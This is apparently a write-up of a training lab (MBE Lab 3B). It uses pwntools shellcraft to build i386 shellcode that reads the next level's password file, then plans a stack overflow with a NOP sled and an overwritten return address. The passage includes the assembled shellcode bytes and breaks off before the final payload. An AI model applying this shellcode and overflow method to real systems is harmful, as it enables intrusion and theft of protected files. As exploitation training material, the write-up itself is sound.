This writeup will be about MBE’s Lab 3B. The lab itself is very simple, but I’m more interested in how I solved it using Pwntools’ Shellcraft. This was the first time I’ve used shellcraft and I’ve found it extremely useful and preferable to crafting shellcode by hand. With that said, nothing can beat the accuracy and meticulousness of handcrafted shellcode.
For Lab 3B, we’re given a binary (lab3B) and the corresponding source code:
/* this is all you need to worry about */ puts("just give me some shellcode, k"); gets(buffer); } else { /* mini exec() sandbox, you can ignore this */ while(1) { wait(&status); if (WIFEXITED(status) || WIFSIGNALED(status)){ puts("child is exiting..."); break; }
Nothing too exciting to see here. Basically, we’re given the hint that we should write shellcode to open and read the .pass file, since ptrace is preventing us from using /bin/sh shellcode. That’s fine by me. Luckily, there’s a shellcraft function for reading files on an i386 Linux system.
Before we fire up an interactive Python session to test this out, let’s look at the function header and arguments and discuss what we need to send in.
Args: [path, dst (imm/reg) = esi ] Opens the specified file path and sends its content to the specified file descriptor.
Since we want to read the .pass file of the next level, the full path of the .pass file is /home/lab3A/.pass. For dst, we need to give it a file descriptor. Then why not stdout? stdout is usually file descriptor 1, so we’ll set dst=1 in our argument list. This gives us the following function call:
Python 2.7.14 (default, Sep 252017, 09:53:22) [GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.37)] on darwin Type "help", "copyright", "credits"or"license"for more information. >>> from pwn import * >>> print pwnlib.shellcraft.i386.linux.readfile('/home/lab3A/.pass', 1) /* Save destination */ push 1 pop edi
That looks beautiful! The only problem is that we need to use this as shellcode, meaning we need it in the form of bytes, not assembly instructions. Thankfully, pwntools also has a handy function asm() which converts assembly code into the raw bytes to be used as shellcode.
Let’s try it out!
1 2 3 4 5 6 7
Python 2.7.14 (default, Sep 252017, 09:53:22) [GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.37)] on darwin Type "help", "copyright", "credits"or"license"for more information. >>> from pwn import * >>> asm(pwnlib.shellcraft.i386.linux.readfile('/home/lab3A/.pass', 1)) 'j\x01_jsh.pashb3A/he/lah/homj\x05X\x89\xe31\xc9\xcd\x80\x89\xc5\x89\xc3jlX\x89\xe1\xcd\x80\x83\xc4\x14\x8b4$1\xc0\xb0\xbb\x89\xfb\x89\xe9\x99\xcd\x80' >>>
Now, all that’s left to do is to craft our exploit. The size of the buffer is 128 bytes so we have plenty of space to work with. Let’s make the entire buffer all NOPs and then our shellcode. In gdb, it looks like bffff640 might be around the ballpark of where this buffer begins, so we overwrite the function return address with this address. In addition to this, it looks like there’s 28 bytes between the end of the buffer and the return address we want to overwrite. Our shellcode comes out to be 62 bytes. Therefore, the following is what we want the stack to look like after we write to the buffer: